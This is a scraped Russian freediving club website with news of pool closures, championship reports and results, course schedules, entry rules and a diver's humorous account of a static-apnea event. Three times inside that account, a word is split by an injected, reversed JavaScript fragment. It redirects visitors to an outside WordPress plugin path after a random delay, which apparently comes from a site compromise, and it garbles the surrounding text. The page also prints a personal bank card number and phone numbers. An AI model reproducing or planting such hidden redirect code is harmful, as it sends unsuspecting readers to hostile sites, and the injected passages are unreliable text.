С 22 мая по 3 июня наш бассейн ЦСК ВМФ (Марина Клаб) закрывается на ежегодную профилактику. Заключительная тренировка перед закрытием — 21 мая в 20:00.
Следите за обновлениями на сайте или уточняйте информацию у инструкторов!
Прекрасно заниматься таким видом спорта, который дает тебе возможность приезжать в Санкт-Петербург два раза в год минимум. Мы еще не успели забыть февральские впечатления, а уже настал апрель и пришло время Чемпионата России, проводимого по правилам КМАС.
По итогам этого Чемпионата проводился отбор на международные соревнования. Многие спортсмены готовились именно к этому старту. К сожалению, не у всех спортсменов все сложилось так, как они планировали.
Соревнования, проводимые Федерацией Подводного спорта России, являются командными. В этот раз первой в командном зачете стала команда Москвы, которая и увезла кубок в столицу. За четыре дня соревнований проводятся старты в шести дисциплинах в женском и мужском зачете. Такой длинный марафон не дает участникам расслабиться, но они находят время, чтобы и погулять и пообщаться. Тем более, что погода в этот раз благоприятствовала.
В первый день соревнований разыгрывались медали в скоростной сотне и в нырянии в длину в ластах (разножки). Как иногда бывает, что первый день задает тон всему мероприятию, так получилось и в этот раз. Среди мужчин сотню быстрее всего проплыл Алексей Казанцев из Новосибирской области за 0:31,92, что является новым национальным рекордом России. А нам хочется отметит Владимира Митрофанова, который хотел попробовать свои силы в этой дисциплине спустя много лет. Он показал результат 0:50,14. Что превышает его собственное достижение в старые добрые времена. В ластах среди мужчин дальше всех проплыл Алексей Молчанов с результатом в 206,70 метра, и это тоже новый национальный рекорд России в этой дисциплине. Среди женщин отметим нашу Южнею Горелик, которая стала второй с результатом 161,20 метра.
Во второй день соревнований спортсмены соревновались в нырянии в длину без ласт. Лучший результат среди девушек показала Татьяна Корженевская — 157,20 метров, что также является новым национальным рекордом. А среди мужчин новый национальный рекорд установил Александр Костышен 189,50 метров.
В предпоследний день соревнований был старт в моноластах. В этот день обошлось без национальных рекордов, но напряжение было настолько сильное, что к концу соревновательного дня практически все зрители и спортсмены подтянулись поближе к зоне старта, чтобы все видеть собственными глазами. Мы искренне радовались за Татьяну Гусарову, которая заняла третью ступень пьедестала с результатом 184,70 метров. Татьяна теперь выступает за Санкт-Петербург. К сожалению, Анастасия Жихарева не смогла справится с протоколом на отметке 203 метра, но такой результат нельзя не отметить.
И в завершающий день соревнований было установлено сразу четыре национальных рекорда! В статической задержке дыхания среди женщин первой была Южнея Горелик с результатом 6:42,22 минут. Среди мужчин на высшую ступень поднялся Алексей Молчанов с результатом 8:15,88 минут. Национальные рекорды в статике обновлены. В состязании на выносливость 16 раз по 50 метров среди мужчин лучшим стал Евгений Сауров, который улучшил свой национальный рекорд и показал время 9:41,58. А среди женщин первое место заняла Анастасия Жаткина с результатом 11:10,46 минут, что превышает мировой рекорд на 10 секунд.
Вот такой вот Чемпионат России с 8 национальными рекордами. Приятно видеть, как на твоих глазах пишется история.
От нашего клуба также выступали спортсмены, которые не заняли призовые места, но честно соревновались в спортивной борьбе. Ребята соревновались во многих дисциплинах, но перечислим наиболее запоминающиеся результаты.
Мария Овчинникова прекрасно проплыла в моноласте — 151,70 метр и в разножках 101,20 метр.
Владимир Митрофанов в моноласте проплыл 154,30 метра.
Сергей Звонцов показал в статике результат в 6:34,39 минут.
Маргарита Пинашкина проплыла в моноласте 130,60 метров.
Александр Павлов в разножках проплыл 172,60 метра и остановился в одном шаге от пьедестала.
Наталья Минаева проплыла в моноласте 134,40 метра.
Также хочется сказать, что на соревнования из Москвы вместе со спортсменами приехали тренер и два фотографа. Спасибо большое, что нашли время и разделили это время с соревнующимися: Екатерина Сеничкина, Тимофей Морозов, Дарья Музыкантова и Елена Корчагина.
Чемпионат Москвы по фридайвингу для нашего маленького клуба стал большим событием. В стороне не остался никто. По регламенту Чемпионата ребята могли получить спортивные разряды, поэтому готовиться начали многие, кто даже и не думал раньше выступать. А тем, кто не нашел в себе силы выступать, тренер нашел задание по силам и приобщил к процессу проведения Чемпионата.
Наверное, поэтому соревнования получились теплыми и уютными. Но тут стоить отметить и солнце, которое пробивалось сквозь стеклянную крышу олимпийского бассейна и согревало спортсменов в прямом смысле.
В демонстрационной ванне регулярно проводятся соревнования по плаванию, но старты именно по фридайвингу, насколько нам известно, проводились впервые.
Итак, 17 марта и статическое апное. О, статика прекрасна всем! А также известна важностью психологического настроя. Бассейн оказался очень светлым, с широким бортиком и большим пространством.
Размяться, сделать растяжку и уединиться, чтобы побыть с самим собой, было где. Это немного не помогло тем, кто решил приехать на машине, и долго искал место для парковки, но разве может что-то остановить настоящего фридайвера в желании не дышать? Конечно, нет.
Среди впервые участвующих команды Монофин стоит отметить Юлю Попову, которая отлежав 4 минуты 13 секунд, заняла третье место. Это, наверняка, далеко не предел, просто она об этом еще не знает. Вячеслав Самсаков не показал того результата, который хотел, но такой опыт тоже нужен и полезен. Результат Вячеслава 4 минуты 43 секунды, это меньше заявленного результата, поэтому он получил желтую карточку и штрафные очки. Илья Сотников занял десятое место в статике с результатом 4 минуты 31 секунда. Он был одним из самых морозостойких и выступал в тоненьком костюме для динамики.
Кто там говорил про холодную воду в бассейне? Спросите у Ильи, как нужно согреваться.
Наши девочки в этот день оказались более результативными и заняли первое и третье место на пьедестале. Первой, с результатом 6 минут и 34 секунды, стала Южнея Горелик, которая привычно побила свой же рекорд России в этой дисциплине по версии КМАС. Второе место заняла Наталья Домашенко с результатом 5 минут 5 секунд. Мария Семенова, Мария Овчинникова, Наталья Минаева и Маргарита Пинашкина показали не лучшие свои результаты, но, надеемся, не стали горевать по этому поводу.
Среди мужчин наш Сергей Звонцов занял второе место с результатом 6 минут 7 секунд. Выводила на старт его супруга, и очень надеемся, сильно сжимала его руку, чтобы он держался как можно дольше. Первым в статике среди мужчин стал Сергей Бугров, показавший результат 6 минут 31 секунду. А третье место занял Евгений Смирнов из Волгограда, но выступающий за Москву. Евгений показал результат 6 минут 1 секунду. Александр Купцов и Владимир Митрофанов не показали свои возможности в этот день, но не перестали занимать в нашем сердце меньшее место.
К сожалению, Алексей Молчанов не смог присоединиться к участию в этот день, хотя и был заявлен. Иногда бывает и так.
18 марта проводилось два старта в динамике. Сначала апное динамическое, следом апное динамическое в ластах.
В этот день места на трибуне занимали не только спортсмены. Пришли зрители, друзья, кто-то пришел с семьями. Стартовая зона вдоль бортика была выделена, и в ней находились только выступающие спортсмены и судьи. Это нисколько не стесняло, все-таки бассейн, построенный специально для проведения соревнований, это как лучший игрок, выступающий за твою команду.
Апное динамическое среди девушек было отмечено весьма плотными результатами между первым и вторым местом, а также между третьим и четвертым. Первой стала Южнея Горелик с результатом 112 метров, следом за ней Анастасия Жихарева, проплывшая на метр меньше. На третьей строчке Маргарита Пинашкина с результатом 80 метров. Четвертой была Екатерина Некрасова, показавшая свой лучший результат 73 метра.
Среди мужчин в дисциплине апное динамическое первое место занял Игорь Самохин с результатом 134 метра. Игорь является мастером спорта по подводному спорту, активно принимающим участие в соревнованиях и обладающий прекрасным чувством юмора. Вторым стал Владимир Амвросов, который без костюма проплыл 130 метров, и это его лучший результат. На третьей ступеньки расположился Сергей Бугров, преодолевший дистанцию в 118 метров. Александр Купцов размочил сотню в подводном брасе и порадовал себя и тренера цифрой в 105 метров. Владимир Митрофанов волевым брасом проплыл 89 метров. Саша и Володя показали свои лучшие результаты. Хочется отметить Дмитрия Чайковского, который только вернувшись с глубины, не побоялся принять участие. Дмитрий улучшил свой официальный рекорд до 106 метров.
Старт в дисциплине апное динамическое в ластах проводился под самый занавес соревнований и также отметился большим количеством лучших личных результатов. К сожалению, было два блэкаута: Наталья Домашенко у девушек и Александр Павлов у мужчин.
У девушек, плывших в ласте, разница между первым и вторым местом была еще меньше. Мария Овчинникова, занявшая первое место, проплыла 130 метров. Машины дети были на бортике и прыгали с криками «Мама — герой!», когда ее награждали. Второй стала Наталья Минаева с результатом 129 метров. Видимо, сказались нерегулярные тренировки в последнее время, но, значит, есть над чем работать. И на третью ступень поднялась Мария Семенова, которая еще неделю назад и не планировала участвовать в соревнованиях. Уверенные 107 метров. Четвертой стала Юлия Попова, преодолевшая в первый раз 104 метра. Кажется, Юля открыла много нового в себе за эти два дня и мы рады, что Юля приняла решение участвовать. Ирина Никольская стала пятой с довольно быстрыми 82 метрами и чудесным поворотом на радость тренера.
Среди мужчин первым стал Евгений Смирнов. Он показал свой лучший личный результат 162 метра. Второе место занял Максим Лубягин из Волгограда, который преодолел 134 метра в длинных ластах. Максим собирается выступать на Чемпионате России в Петербурге, и, видимо, поэтому предпочел плыть в разножках. Третьим на пьедестале стоял Вячеслав Самсаков, впервые выступавший на соревнованиях. Он проплыл 127 метров. Немного напугал этим тренера, но был вознагражден белой карточкой. Вячеслав по-хорошему разозлился в первый день и во второй показал, на что он способен. Сергей Звонцов стал пятым с результатом 109 метров. Петр Зеленков проплыл уверенные 100 метров. Илья Сотников улучшил тренировочную дистанцию и сделал 83 метра. Поздравляем с началом большого пути, это его первые соревнования, и, наверное, он был самым спокойным из всех, переживающих за него.
Награждение проходило здесь же, на бортике демонстрационной чаши. Частично даже под гимн России, что было очень неожиданно и приятно. Торжественность момента была удачно дополнена доброжелательностью судейской бригады, которая в кратчайший срок подготовила грамоты и призы. Эти соревнования показали, что такие старты в Москве нужны и востребованы. Вновь примкнувшим спортсменам можно выступить и получить спортивный разряд, уже опытные спортсмены имеют возможность выступить и проверить свои силы. Очень надеемся, что Чемпионат Москвы будет проводиться ежегодно и станет хорошей традицией.
Использованы фотографии Александр Акивис, Леонид Колотков и мастер селфирез Анастасия Жихарева
В Клубе Monofin — весенняя распродажа моноласт Hyperfin, Glidefin и Sharkfin. Самое время обновить оборудование, и купить ласты дешево… или совсем дешево!
Наличие размеров по разным моделям уточняйте по телефону +7 (926) 119 69 33.
Померить и протестировать можно на любой тренировке клуба Monofin (см. Расписание)
Организатор: Московская Федерация Подводного Спорта (МФПС)
Дисциплины: статическое апноэ (STA), динамическое апноэ без ласт (DNF) и в моноластах (DYN)
Расписание чемпионата:
17.03.2018 STA
13:45 — начало разминки
14:15 — начало стартов
16:00 — окончание стартов
18.03.2018 DNF / DYN (при регистрации Вы выбираете одну из дисциплин)
17:30 — начало разминки
18:00 — начало стартов
22:00 — окончание соревнований
22:30 — награждение и закрытие соревнований
Заявки на регистрацию: принимаются до 16 марта 2018 (до 00:00)
При регистрации следует выбрать ДВЕ дисциплины из трех (например: STA и DYN или STA и DNF)
Стартовый взнос:
за 2 дисциплины — 2 500 руб.,
за 1 дисциплину — 2 000 руб.
Оплата взноса на Чемпионат Москвы по фридайвингу (варианты):
1) на карту Сбербанка 4817 7600 0282 8899 (получатель Ольга Николаевна С.). Обязательно указать назначение «за участие в ЧМосквы»
2) на счет МФПС
Получатель: региональная общественная организация «Московская федерация подводного спорта»
ИНН: 7733190387
КПП: 773301001
р/с 4070310700000000256
Банк: АО «Райффайзенбанк» г.Москвы
к/с: 30101810200000000700 в ОПЕРУ Главного управления ЦБ РФ по Центральному округу
БИК: 044525700
Документы:
Документы необходимо предоставить Главному секретарю соревнований минимум за 1 час до старта.
Место проведения: бассейн «Олимпийский», адрес: Олимпийский проспект 16, с. 2, метро «Проспект Мира».
По итогам участия в соревнованиях МФПС будут присваиваться спортивные разряды (оформление разрядов через МФПС возможно только для спортсменов с пропиской или регистрацией в Москве и Московской области).
1 разряд
Присваивается за 1-4 места
2 разряд
Присваивается за 5-8 места
3 разряд
Присваивается за 9-12 места
Все организационные вопросы по тел.: +7 (926) 584 46 06 Екатерина
17 марта 2018 — Статическое апноэ STA
18 марта 2018 — Динамическое апноэ без ласт DNF
18 марта 2018 — Динамическое апноэ в ластах DYN
Во время теоре
тических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
7 апреля (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
9 апреля (понедельник)
20:00-22:30 практика на воде
14 апреля (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
15 апреля (воскресенье)
20:30-23:00 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
Место проведения: Бассейн MARINA CLUB (ЦСК ВМФ). Москва, Ленинградское шоссе 25А, стр. 4
Курс проводит Ольга Сидорова — инструктор CMAS по фридайвингу (сертификат RUS/F01/iAp1/16/000001)
Двухмесячная программа занятий — отличный способ влиться в подводное плавание. Плавание в моноласте захватывает с самого первого раза. Отсутствие ограничений — можно плыть глубоко, далеко и стремительно.
Знакомство с моноластой — это программа, развивающая необходимую координацию для подводного плавания, укрепляющая мышцы корпуса и ног, увеличивающая выносливость, улучшающая дыхание.
Программа нацелена на:
• развитие техники плавания под водой в ластах
• укрепление мышц ног и спины
• развитие дыхания
Польза:
• улучшения осанки
• повышение тонуса
• улучшение координации и гибкости
Комплекс упражнений (из классического плавания и из скоростного плавания) подготавливает молодого спортсмена к технически-правильному нырянию в моноласте как в глубину, так и в длину.
Занятия ведут:
Индивидуальный подход — два тренера на 10 человек.
Записаться в группу: +7 916 803 5461
Когда обычный человек слышит про Ригу, то на ум ему приходит: шпроты, янтарь, взморье, Юрмала, Дзинтари, ну и «…бьют часы на старой башне, провожая день вчерашний, и звонят колокола…».
О чем думает фридайвер, услышав про Ригу? Конечно, о прекрасно организованных соревнованиях, которые уже в девятый раз проводились Юлией Марьевич, Алексеем Потапенко, Валерием Коваленко и еще огромным количеством людей. Мы принимали участие в этих соревнованиях в 2015 и 2016 годах. Из новшеств этого года была супер удобная памятка, которая выдавалась каждому участнику с указанным временем старта в каждой из дисциплин на оба дня, и заявленный результат — очень полезная штука для особо сильно забывчивых.
Само участие нашей команды было полной авантюрой, поэтому не удивительно, что недостающий третий участник впрыгнул к нам в последний момент и полный состав команды Monofin 4.3 выглядел так: Наталья Минаева, Маргарита Пинашкина, Андрей Тарасов.
Для командного зачета важно выполнять все попытки с чистыми протоколами, с чем мы все благополучно справились, кроме досадного позднего старта Маргариты на статике, за что она получила желтую карточку. У Наташи прекрасно прошла статика. Видимо, помогло расслабиться то, что она не требовала от себя слишком много, так как две недели перед стартами проболела. Андрей Тарасов элегантно снимал перчатки в тот момент, когда силы терпеть были уже на исходе. Это была явно продуманная домашняя заготовка.
У Риты и Наташи между стартами был перерыв часа в три-четыре, собственно говоря, как и у Андрея. В то время как девочки решили гулять на полную, и пошли есть, Андрей наслаждался пищей духовной. Девочки оказались совсем девочками и в результате неразберихи на кухне им принесли двойной заказ, который они под ужасающиеся взгляды некоторых спортсменов и съели. Наевшись от пуза, пришлось немного поспать, потому что передвигаться не было никакой возможности.
Динамика без ласт проходила в том же комплексе, но 25-ти метровом бассейне. В этот раз технические работники решили не экономить, и налили воды под завязку. Даже не самой маленькой по росту Маргарите пришлось стоять на цыпочках на табуретке, и все равно вода доставала до плеч. Но, как мы знаем, чем больше воды, тем меньше обезвоживание, попытка была признана судьями удачной и новый PB упал в копилку нашей Риты. Наташа правильно решила, что одной табуретки ей мало и попросила еще одну. Как известно, запросы девушки растут соответственно высоте её пьедестала. Не исключено, что это было основной причиной того, что Наташа бросила себе в рюкзачок РВ. Но, возможно, и веревка, опутавшая ногу Наташи при старте (с помощью вытаскивали табуретку на поверхность) внесла свои коррективы в решительный настрой спортсменки. Андрей тоже хорошо проплыл и получил белую, к сожалению, девочки пропустили его старт, потому что замерзли и проголодались. Снова. Вечером заботливые болельщики девчонок отвезли в Юрмалу, где щедро накормили блюдами местной кухни и выгуляли по замерзшему берегу моря и белому песку вперемешку со снегом. По итогам первого дня соревнований команда занимала 7 место в командном зачете.
Динамика в ласте была проводилась в другом бассейне, в который всех спортсменов организовано предлагалось доставить. Но девочки, они и есть девочки, решили подольше поспать, и приехали впритык за час до первого старта. Времени на подумать и побояться не оставалось, нужно было сразу приниматься за работу. Рита плыла первой из команды и по первой дорожке. Вряд ли в этом совпадении можно найти символизм, однако она улучшила свой личный результат в моноласте и получила небольшой бонус в качестве прекрасной фотографии официального фотографа соревнований. Следующей из команды выступала Наталья. Просто и надежно она проплыла дистанцию, в котором была уверена, опять таки памятуя о перенесенной болезни. Андрей устроил феерический заплыв в желтых дайверских ластах, успев попозировать подводному фотографу при повороте на 100 метрах.
По итогам двух дней соревнований команда Monofin 4.3 заняла пятое место.
Что можно сказать о соревнованиях и Риге в целом?
Нам понравилось приезжать с болельщиками: во время стартов они отсутствуют, но сразу после готовы развлекать, холить и лелеять, за что им отдельное спасибо.
В Риге чудесная еда, вино, пиво и все остальное, но за лучшим кофе в городе и едой нужно обращаться к местным гостеприимным фридайверам.
Все-таки по уровню проведения и организации — это наши самые любимые старты.
Несмотря на отчаянные попытки (целых три) взобраться на башню Собора Святого Петра, Рите и Наташе так это и не удалось, а это явный знак, что стоит вернуться, и доделать начатое.
На http://free-diving.lv вы можете найти всю информацию о соревнованиях и фридайвинге в Латвии.
Результаты ребят:
Наташа Минаева: STA 4.36 (PB); DNF 89 (PB); DYN 128
Маргарита Пинашкина: STA 3.43; DNF 83 (PB); DYN 129 (PB)
Андрей Тарасов: STA 5.35; DNF 104; DYN 149 (PB)
использованы фотографии Daan Verhoeven
Путевые заметки Маргариты Пинашкиной и Натальи Минаевой
Этот мир огромен, и люди в нем живут совершенно разные. Каждый из нас стремится найти того самого, своего, неповторимого человека. Также и с тренером.
Любимый тренер, как и первая в жизни любовь, цепляет с первого взгляда и на всю жизнь. Со временем Ваши отношения становятся все более доверительными, и уверенность друг в друге крепнет. Да, у вас бывают сложные периоды, бывают размолвки или недопонимания, но это неотъемлемая часть любых взаимоотношений. Главное, как вы их решаете вместе. Ваши роли распределены, и каждый занимается своей частью работы.
Сегодняшняя тренировка может быть похожей на предыдущую, но никогда не будет одинаковой, и это дает тебе уверенность и стимул двигаться дальше. Ты знаешь, что если ты получил задание, ты сможешь его выполнить, твоя спортивная семья в тебя верит и знает, на что ты способен порой лучше тебя самого. И вот ты выходишь на дорожку, готовишься. Ты немного удивлён, ведь задание не простое и, на первый взгляд, кажется непосильным.
Ты начинаешь плыть, и такие мысли проносятся в твоей голове, что хочется лишь сдаться и сказать: «нет, не смогу!». Тебе становится плохо, даже невыносимо, но в какой-то момент это перестаёт тебя беспокоить. Ты привыкаешь к этому состоянию, начинаешь даже получать некое подобие удовольствия. Пытаешься расслабиться и вытянуться, и вот уже он, бортик. Ты выходишь, дышишь, и думаешь о том, какой же ты молодец, что не сдался, не вылез раньше времени и выполнил поставленную задачу. Удовольствие накрывает тебя, и ты стоишь и глупо улыбаешься. В этот момент подходит Катя и спрашивает, как дела. Ты сдержано отвечаешь, что все хорошо, пытаясь не выдать все переживания, которые только что поборол. Она улыбается, и весь мир перестаёт для тебя существовать. Потому что ради этой улыбки и этого взгляда ты и плыл. Вот она, твоя вселенная!
Сегодня 14 февраля, день всех влюблённых. Мы, люди влюблённые в своего тренера, хотим сказать, что любовь — это страшная сила, способная творить чудеса! С праздником, Катя!
Все мы разные, но едины в одном мнении, что наш тренер самый лучший, добрый, справедливый, чуткий и по-хорошему заставляющий работать, иногда даже на износ. Пусть не всегда мы говорим об этом, но мы очень благодарны Кате за все, что она делает для всех нас и для каждого в отдельности!
Часть 1. Южнея Горелик: статика (STA), Кубок России CMAS 2018
— Южа, выходи!!!
— Кажется Маша волнуется.
…
Если фридайвинг — это боль, то статика — это абсолютное значение 😉
Битва с собственной головой и физиологией, а так-же с тараканами и бабочками… — что может быть сложнее?
— Для непосвященных. Статическое апное — это дисциплина в спортивном фридайвинге, где спортсмен лежит в воде мордой в воду и ничего не делает. Ну совершенно ничего. Ага.. это спортом называется. Нуу.. да.. этот спортсмен, кроме того, что он ничего не делает, он еще и не дышит.
Суть соревнования такого активного вида — отлежать максимально длительное время на задержке дыхания. Не метры — время наше всё!
В общем все просто, но вот что на самом деле происходит))))
уф..
Кубок России 2018. Уже прошли 3 дисциплины. 2 медали (классические ласты и DNF). Моноласту решила «слить» и это оказалось одним из важных мотивов не слить STA, а слить хотелось. Вернее боялось, что солью, что не смогу, что сдамся.. Очень мало тренировок в воде было. Последние 2 тренировки в воде провалила вчистую— паника, паника.. » я больше не могу и не хочу..» . Вот этого я и боялась. Боялась, что на старте так же «я больше не могу и не хочу и отстаньте все от меня»
поэтому искала, искала мотивации: зачем мне это надо? Могу-ли я? хочу-ли я? Га..но-ли я? А, ах да, Магнолия!!!! Ищем «магнолию»!!
— Сачканула на моноласте. Есть мотивация. Как то совсем будет нелепо провалить еще одну дисциплину.
— но у меня уже есть 2 медали! Антимотивация. Хотя это может успокоить, что уже ну хоть что-то сделала )))..
— ннуу.. тренера порадовать, нуу.. мож кого еще.. да.. себя порадовать. Сачкану — так сначала хорошо.. Психанула, воздухом подышала, а потом? Потом Южа Южу будет пилить и угрызения совести Южу будут пилить .. Мож проще отлежать желаемое, чем потом все это от себя выслушивать?? Хорошая мотивация.
В общем пошла, съела 3 конфетки трюфеля, прогулялась и спать.
4.30 до старта. проснулась, нелепая попытка растяжки, любимые хлопья* заливаем водкой водой и в басс
2.00 до старта. Пришла, раскидала шмотки в правильном хаосе, легла расслабляться. Лежу, полотенце на морде, остальное тело в спальнике. Расслабляюсь. Кажется немного стало получаться. Не зря тренировалась 3 предыдущих дня старта. Регулярные тренировки — это великое дело. Ну да, надо бы тренировать это и в дни тренировок… ну не будем о печальном.. )))
— смотри, труп лежит!! визг.. (это пацан-пловец девочку так решил испугать)..
— вот поросёнок..
ладно. Мне надо расслабиться. Опять закрываю глаза.
-Что делать будем? Вспоминаю богов расслабления в фридайвинге. Бутов? Дудов? Матвеенко?.. хм.. Дудов? не.. Дудов — это потом, когда контракции начнутся. Это тогда : — Бооль, ты гдеээ? Я иду к теебе!! Я вижу тебя! Я концентрируюсь в тебэээ!!!
1.30 до старта
— итак. Бутов или Матвеенко? Матвеенко или Бутов? В отчаянии объединяю этих двоих в единое целое. Что-то стало получаться.
— я тяжесть! Я чугунная чушка! Я скорость.. не это про другое.. Не сбивайся.
— палец тяжёлый, нога тяжёлая, пузо тяжелое, говно тяжелое.. не.. оно же всегда лёгкое.. не отвлекайся. Голова тяжёлая, руки тяжелые Я тяжесть!!! Оооо… Странное ощущение одновременной тяжести и лёгкости. По спине прошёл сквозняк.
— упс, где коврик? Я его не чувствую… Левитация? Я парю над ковриком, но опасаюсь, что влеплюсь в потолок ниши в которой лежу и что малолетки-спортсмены сопрут мой коврик. Аккуратно придерживаю его мизинцем.
1 час до старта. Надеваю гидрик и опять полежать.
— Тараканы!! Эти в голове опять начали суетиться и предлагают сбежать. Усаживаю каждого в его личное кресло, пристёгиваю и тщательно проверяю. И кляп. Да, кляп! Потом беру метёлку и начинаю выметать мусор и шелуху из извилин мозга. Моего мозга. Средней мягкости такой щёточкой мелкий такой мусор. Очень так визуально получилось. Мозг белый (почему-то) и плотный — почти мраморный. И извилины… мне показалось, что их маловато как-то. ЗАто мусор выметать удобно. В какой-то момент испугалась, что этак нужное могу зачистить.
35 минут до старта. Ползу к воде, стараясь припомнить все мотивации (пара тараканов освободились) и молясь, чтобы не психануть и отлежать хотя бы свои 6 минут.
30 минут до старта. Разминка в воде на удивление зашла легко и мягко за исключением того, что на 3-ей разминке переупаковалась и самбанулась. Но это на разминке. Вроде правилами не запрещено))), но упс… милое дело за 17 минут до старта!! Что теперь будет ? Всё испортила? Сохраняем с Машей спокойствие и переделываем 3-ю разминку
— Что будет то и будет. Маша серьёзна как всегда. Кажется эта не даст сбежать)))
10 минут до старта. Старт. Аккуратно упаковываюсь, помня казус и .. мяу-мяу…
Первая фаза.
— Ничего особенного. Лежу, пускаю сопли, кайфую
первое «не хочуу» как первая любовь ))) .. было достаточно мягкое, неуверенное, задавленное мотивациями. Машка берёт меня за руку (метод Горелик-Кузьмин). Ну теперь точно не сбежать. Рука уверенная, достаточно железная.
Открываю глаза. Даша плывёт. С фотиком по дну скребётся.
— оу.. неплохая фотография может получиться. Вижу кадр: вода, на поверхности мордой вниз лежит тело, его за руку держит другое тело. Это другое тело на днях оказалось под завалами подземного перехода и с побитыми рёбрами привезло семейство на соревы и теперь страхует тело, которое хочет сбежать. Ммм…… это же World Press Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to!!! Закрываю глаза, чтобы не портить Дашке кадр.
— время! хочу знать время!. Хлопаю по руке, как договорились. Маша не реагирует. Хлопаю ещё раз. Мария хватает меня железной хваткой за обе руки. Вырываюсь и барабаню. Мне зачем-то надо знать время вот сейчас!
— 4.40
— уф. В борьбе время пролетело незаметно. Необходимые 1м20 я могу потерпеть. Кажется так. Контракции идут, но достаточно мягко. Непривычно мягко. Странно.
— так.. что там Боги расслабления советовали? Мимо в пузырьках воздуха проплывает ухмылящееся лицо Бутова и задумчивое Дудова. Андрей на пропсе упражняется где-то на глубине.
— Южа, потерпи. Еще немного осталось. Слышу, что Маша волнуется
-хм.. Самое странное, что я поймала себя на том, что не психую, Я почему-то не психую. Начинаю психовать от того, что должна психовать, но не писхую. Слишком мягко как-то идёт статика. Тело, желая предупредить обычные психи, начинает выполнять привычные кульбиты в ожидании психа. Я наблюдаю за всем этим и удиваляюсь. Почти забавляюсь этакой шизофренией.
— Южа, 6 минут!!
— Маша волнуется раз, Маша волнуется два. Просканировала тушку. Вроде запас есть. Волнуюсь и я… руками и тушкой.
— 6.10
— 6.15 Машкин голос вибрирует и беспокоится. Это меня даже успокаивает.
— 6.20! ВЫХОДИ!!
— неа. Понимаю, что Маша по цифре договорённой выгоняет меня из воды. Решаю попробовать снять шапочку и очки. Давно хотела, но всё забывала. Снимаю
-ооо.. хорошоооо!!
— Южа, ВЫХОДИ!! уже паника и отчаяние. Ну да, я же не предупредила, что буду этакое творить. Кажется я теряю страхующего. Интересно, за блекаут страхующего КК полагается? НАчинаю тихо ржать и решаю выйти. Машка мне друг и надо ее спасать))))
ВЫход, протокол как всегда стремительны и поспешны, но перед выполнением протокола, мне сначала надо было убрать волосы с лица. Шапку-то сняла, вот и пришлось сначала разгребать «чёлку» ))))Машка живая.
Все ржут.
Выползаю. На меня падают другие отлежавшие. Вместе валяемся и ржём.
Получилось 6.29 , первое место и, оказывается, национальный рекорд CMAS. И он даже второй у меня. На ЧР 2017 у меня тоже был нац. рекорд, но об этом знали все, кроме меня))) Забавно. Но мы же помним цифру НАташи Молчановой!!! Так тчо пахать и пахать
говорят, что на наше представление статику собрался народ.
и да.. Получается что я что-то стала понимать в статике.. ну немножко, нооо))))) Посмотрим, что дальше будет
хочу сказать огромное спасибо Тренеру Екатерина Сеничкина, страхующей Марии Овчинниковой (Voltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Servetta) Машка, извини, что поволноваться заставила, но ты мне очень помогла!!! , Богам Eugeny Boutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov, Александр Дудов , Андрей Матвеенко. Оксана Бергман, спасибо за шапочку неопреновую. Шапка бомбическая. Большущее спасибо всей команде Монофин (#monofin) за поддержку и помощь. У нас Команда! Это очень круто.
Спасибо Южнее Горелик за ее отчет, взято отсюда https://yuzhneika.livejournal.com/30070.html .
Все самое лучшее (как и худшее) в жизни должно совершаться непредсказуемо, случаться непреднамеренно и происходить внезапно.
Именно с этой мыслью я решила все-таки поехать в Питер, невзирая на обстоятельства. Что там какие-то бураны, ураганы и ребра, когда муж едет стартовать. Поэтому я *бросила изящное рукоделие наложила тейпы на ушибы, сдала рабочий пост на вторую половину пятницы, собрала детей, посулив им «веселые приключения» (а когда было иначе), закинула гидрик и ласты, и мы поехали.
Питер нас встретил радостной четой Гусаровых (Таня и Андрей, спасибо за то, что приютили аж четверых — с детьми) и …бегунами. Радостно продираясь сквозь мороз и вьюгу, вдоль набережной неспешно шлепали самые стойкие — тут я даже почувствовала себя предателем, потому что уже пару недель не бегаю (утренняя пробежка, что может быть лучше ее отсутствия, ага).
Первый день мы в основном показывали — и смотрели! А посмотреть было на что — мужской зачет просто сиял, а наша Настя тоже была выше всяких похвал — второе место в ласте, красиво и четенько. Я прошу прощения, что мне не удалось всех снять — все были красивыми, но мне просто физически нужно было снимать фотоаппарат раз в полчаса, к сожалению.
Второй было веселее — на статику из клуба Монофин было заявлено двое. Собственно, сам Сергей и Южа. Оба попросили их вывести и вынести.
Я считаю процесс страхования чем-то достаточно интимным — ну, то есть, мне достаточно сложно вывести человека, про которого я ничего не знаю. Есть, знаете, что-то такое сакральное, в том, чтобы знать, где помять, где почесать спинку, а где на ушко сказать, чтобы полегчало. Есть, конечно, счастливые самодостаточные люди, лежащие идеально — примерно так с Сергеем и получается, его можно просто вытащить, сориентировать в сторону судьи и ждать, пока на нем с нужной стороны проклюнется мох, сам фридайвер замерзнет и вылезет.
